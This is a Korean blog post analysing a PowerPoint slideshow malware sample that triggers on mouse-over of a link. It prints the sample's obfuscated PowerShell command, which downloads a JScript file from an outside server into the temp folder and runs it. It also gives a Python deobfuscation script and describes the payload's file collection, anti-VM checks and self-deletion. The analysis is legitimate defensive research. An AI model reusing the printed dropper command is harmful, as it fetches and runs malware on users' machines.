일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Hover Action
- hex2bin
- 최순실 악성코드
- 파이썬 외부프로그램 실행
- c# 파일 IO
- pdf 악성코드
- FTP Server/Client
- c# 외부 프로그램 실행
- Universal ShellCode
- c# 파일명 변경
- Mouse Over
- c# 파일 읽기쓰기
- VMware
- c# xml 파싱
- anti vm
- PowerShell
- Python GetProcAddress
- 파워쉘
- Python Win32 API
- c# 프로그램 종료
- 한글 악성코드
- 악성코드
- Python LoadLibrary
- PPT Malware
- TCP Server/Client
- TCP Socket
- vbscript
- UDP Server/Client
- 파이썬
- c# 디렉토리 파일 조회
- Today
- Total
그냥저냥
[PPT Malware] Hover Action 기능 악용 악성코드 본문
얼마전 PPT 문서형 악성코드중 흥미로운 녀석이 발견됬다고 기사가 뜸
(관련 기사 : http://www.dailysecu.com/?mod=news&act=articleView&idxno=21152)
PPT 슬라이드에 존재하는 링크에 마우스를 올리면 악성코드에 감염된다는 뭐 그런거라는데
대충 샘플을 구해서 분석해봄
"Loading...Please wait" 링크 위에 마우스를 올려봤더니 uac 처럼 경고창이 뜨면서 사용자 상호작용을 요구
악성 문서 파일 확장자가 ppsx 이므로, 문서파일 내 코드를 보면 링크 부분에 MouseOver 액션이 정의되어있다.
즉, 링크 위에 마우스를 올리면 "rId2" 라는 객체를 참조하여 프로그램을 실행하도록 되어있고, "rId2" 객체에는
PowerShell 코드가 삽입된 것을 볼 수 있음
PowerShell 명령은 외부 서버에 접속하여 c.jse 라는 파일을 다운받아 실행하는 역할을 수행함
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.'+[char] 0x6E+'l'+[char] 0x2F+'c.php',\"$env:temp\c.jse\"); Invoke-Item \"$env:temp\c.jse\"" |
jse 파일을 받아 열어보면 아래 사진처럼 인코딩된 상태이므로 디코딩이 필요
적절히 디코딩을 해주면 알아먹을수 있는 코드를 볼 수 있음
디코딩이 되긴 했는데 그래도 뭐하는 놈인지 잘 모르겠음... 저걸 난독화라 부르기도 애매하지만 저 코드를 일일이 난독화 해제하기도 귀찮으니 웹브라우저에게 난독화 해제를 맡김
첫번째 변수에 대한 디버깅을 진행해보니 "trans" 라는 문자열이 튀어나옴
난독화된 코드는 대충 보면 복잡해보이지만 실제로는 return String["fromCharCode"]('x')+y 코드에서 x+y 값을
Character 형으로 변환해주는 역할만 한다....
저 난독화된 코드는 라인수로 따지면 2500여줄 쯤 되므로 파이썬+정규표현식 으로 x값을 추출하여 +5를 한뒤
문자로 바꿔주는 스크립트를 짜서 돌림
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | import os import re f = open("C:\out.bin", "r") pat = re.compile("\+\'([^\']*)\'") while True: line = f.readline() if not line: break # 파일 끝까지 한줄씩 읽음 m = pat.search(line) # 정규표현식 패턴 적용 if not m: continue if not line.find('var'): print("") print chr(int(m.group().strip("+'"))+5), # 출력 f.close() | cs |
결과를 확인해보면 어느정도 잘 된듯
난독화 해제된 문자열들을 살펴보면 또다른 외부서버에 접속해서 실행파일을 다운받아 실행하는 코드가 존재하며,
감염 시스템 내 문서 파일이나 그림파일 또는 기타 파일들을 수집(?) 하는 문자열이 존재하고,
wmi 명령을 이용한 Anti Debugging / Anti VM 기능도 존재하며,
자가삭제 기능도 존재한다.
중간중간 쓸데없는 말과 욕이 조금 섞여있긴 한데, 걍 무시
결론은 진짜 악성파일을 다운받아 실행시키기 위한 드롭퍼...
흥미가 생겨서 보긴했는데 그닥 참신한건지는 모르겠다...
'Malware' 카테고리의 다른 글
[HWP Malware] EPS Buffer Overflow를 이용한 악성한글문서 분석 (1) | 2016.11.12 |
---|---|
[DOC Malware] DOC 문서 매크로 악성코드 분석 (0) | 2016.08.20 |
[PE Malware] Powerlik 악성코드 분석 (0) | 2016.08.14 |
[PDF Malware] PDF 악성코드 분석 (Obfuscated JavaScript + ShellCode) (0) | 2016.08.12 |
[PDF Malware] PDF 악성코드 분석 (JavaScript + EmbededFile) (0) | 2016.08.10 |